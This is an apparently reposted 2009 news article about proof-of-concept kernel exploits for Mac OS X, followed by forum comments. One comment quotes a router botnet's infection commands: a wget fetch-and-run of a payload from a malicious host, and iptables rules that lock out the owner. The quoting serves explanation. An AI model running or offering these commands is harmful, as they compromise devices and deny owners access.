Mac OS X Proof Of Concept Exploit Code Published

The software has the ability to create a new system volume, call to some OS functions, and change the user ID, without administrative privileges.

Proof-of-concept exploit code has been posted online for six kernel vulnerabilities, five of which affect Mac OS X 10.5.6, the most current version of Apple's operating system software.

The vulnerabilities were discussed at CanSecWest 2009 last week during a talk about security flaws in the FreeBSD, Mac OS X, and Solaris kernels by security researchers Christer Oberg and Neil Kettle of Convergent Network Solutions.

The five that affect Mac OS X, which uses the Mach kernel and incorporates portions of FreeBSD Unix, remain unpatched.

In an e-mail, Kettle explained that the vulnerabilities exploited were not disclosed to Apple when they were found and remained private until they were published to Milw0rm.com on Monday. He said no one has yet complained about the disclosure of the vulnerabilities, noting that in his experience, kernel bugs are not as serious as other vulnerabilities. "We wanted to show how easy it still is to break production kernels in well-used operating systems," he said.

Inaki Urzay, CTO of Panda Security, said the proof-of-concept code isn't an immediate threat but that it could be in the future. "The vulnerabilities are proofs of concept that demonstrate the code can take control of a machine, either via creating a privilege escalation modifying the users or launching DoS local attacks against the PC," he said in an e-mail. "The proof of concept code has the ability to create a new system volume, call to some OS functions, change the user ID, and so on, without administrative privileges."

The PoC code is designated as follows: 1) Mac OS X xnu <= 1228.3.13 (zip-notify) Remote Kernel Overflow PoC; 2) Mac OS X xnu <= 1228.3.13 (macfsstat) Local Kernel Memory Leak/DoS; 3) Mac OS X xnu <= 1228.3.13 (profil) Kernel Memory Leak/DoS PoC; 4) Mac OS X xnu <=1228.x (vfssysctl) Local Kernel DoS PoC; and 5) Mac OS X xnu <= 1228.x (hfs-fcntl) Local Kernel Root Exploit.

The first, he said, "exploits a remote heap overflow in Apple's implementation of their own AppleTalk networking stack. The overflow is insufficient to allow for simple remote code execution since the length of data permitted is not sufficient to overwrite any 'useful' data structure. However, this bug is interesting since it would actually be trivially exploitable for remote kernel mode code execution if Apple's AppleTalk implementation was actually *correct* and did not contain a rather simple development bug. "The result of the exploit is a remote denial-of-service condition whereby the kernel attempts to access an invalid memory address due to the 'ifPort' member of a heap allocated data structure being overwritten with user-supplied data, in this case, 0x41414141," he added.

More Hardware InsightsWhite PapersPower Trends on Their Way to Your Data CenterGoing Green In The Data Center Or Going Going Gone!Videos

Splunk wins Best of Interop award. Search capability looks at log data across devices. The second and third, he said, "exploit a local kernel memory leak which allows a user process to allocate an arbitrary block of kernel memory that will never be free()'d. Consequently, the kernel will run out of memory. This type of exploit is particularly useful for kernel heap memory spraying, which is required given the memory segmentation model used by the OS X kernel."

The fourth "exploits a race condition in the HFS vfs sysctl interface whereby the kernel manipulates a global variable without first locking a mutex," he explained. "This permits a user land process employing multiple threads to enter the same code path simultaneously potentially causing kernel memory corruption due to potentially indeterminate state of the global variable between context switches."

The fifth, he said, "exploits a local arbitrary kernel memory overwrite in the HFS IOCTL handler. The vulnerability is a little under four years old, and is present in all version of Mac OS X Tiger and Leopard (and Snow Leopard betas), that is, OS X >= 10.4.0. The bug is seemingly caused by a kernel developer placing a piece of code that should only be reachable from within the kernel itself, however, it is possible to reach the offending piece of code with user-supplied arguments, which in turn are used in two calls of bcopy() with the user-supplied argument as the source and destination pointer respectively. This permits a user land process to overwrite an arbitrary kernel memory address with user supplied data and execute arbitrary code with kernel level privileges."

While computers running Mac OS X have traditionally benefited from security through obscurity -- the far larger installed base of Windows machines continues to be the most attractive target for malware creators -- that advantage has been eroding because of the popularity of cross-platform software and the rising installed base of Mac OS X devices, among other factors.

Earlier this week, Sophos warned Mac users to watch out for Web sites that attempt to dupe visitors into downloading what's advertised as an HDTV media player but is actually the RSPlug-F Mac OS X Trojan horse.

"There is much less malware for the Apple Mac than there is for Windows, but that doesn't mean that Apple fans can hide their head in the sand like ostriches," said Graham Cluley, senior technology consultant for Sophos, in a blog post. "Mac users are no different [than] Windows users when it comes to falling for social engineering tricks like this -- they are just as likely to install and run this program on their computer if they believe it will help them watch high-definition TV."

Urzay said that while there is malware for the Mac, such as the Trojan identified by Sophos, such code isn't likely to have a significant impact until Mac market share reaches 15%, which isn't that far away. He said that hacking is a business and that the focus remains on Windows vulnerabilities, at least for the time being.

OMFG! Do these people not even read industry news? For the past week, there has been all kinds of stories out there about botnets being built with freaking routers. What's the install base of Linksys routers running DD-WRT? I mean come on! When are they going to give up on that 'security by obscurity' canard?

Yes, you have a good point. I hadn't myself heard about this router bot-net until I saw your post, but I did some research and it appears not only are we talking about a relatively small base of equipment, but the equipment has to be dangerously configured to even be vulnerable:

You are only vulnerable if:

Your device is a mipsel (MIPS running in little-endian mode, this is what the worm is compiled for) device.
Your device also has telnet, SSH or web-based interfaces available to the WAN, and
Your username and password combinations are weak, OR the daemons that your firmware uses are exploitable.
As such, 90% of the routers and modems participating in this botnet are participating due to user-error (the user themselves or otherwise). Unfortunately, it seems that some of the people covering this botnet do not understand this point, and it is making us look like a bunch of idiots.

It does look like more than just DD-WRT routers are targeted; it appears to me that the exploitation method (once they have a root shell on a poorly configured machine) is fairly universal for any mipsel unit running most any Linux-based router code:

Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things:
# rm -f /var/tmp/udhcpc.env
# wget
If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background.
If wget is not present, the bot looks for "busybox ftpget", and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable.
# wget hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/tmp/udhcpc.env && /var/tmp/udhcpc.env &

udhcpc.env 100% |*****************************| 33744 00:00 ETA
It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports.
# iptables -A INPUT -p tcp --dport 23 -j DROP
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -A INPUT -p tcp --dport 80 -j DROP
This concludes the infection process.

Your comments are well taken. I mentioned the DD-WRT routers specifically, because those were what I'd seen mentioned, and is what I run, so I remembered it. I was initially worried about it until I heard the details of what was necessary for it to be vulnerable. If you run an externally facing system of any type and use default passwords you pretty much deserve to be p0wned. The point stands that the vulnerable number of systems is tiny compared to te installed base of completely unprotected Macs, yet these presstitutes still have the nerve to make those silly 'market share' arguments.

I don't even own a Mac, and have only even played with one a couple of times, but this kind of reporting chaps my ass.

Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works.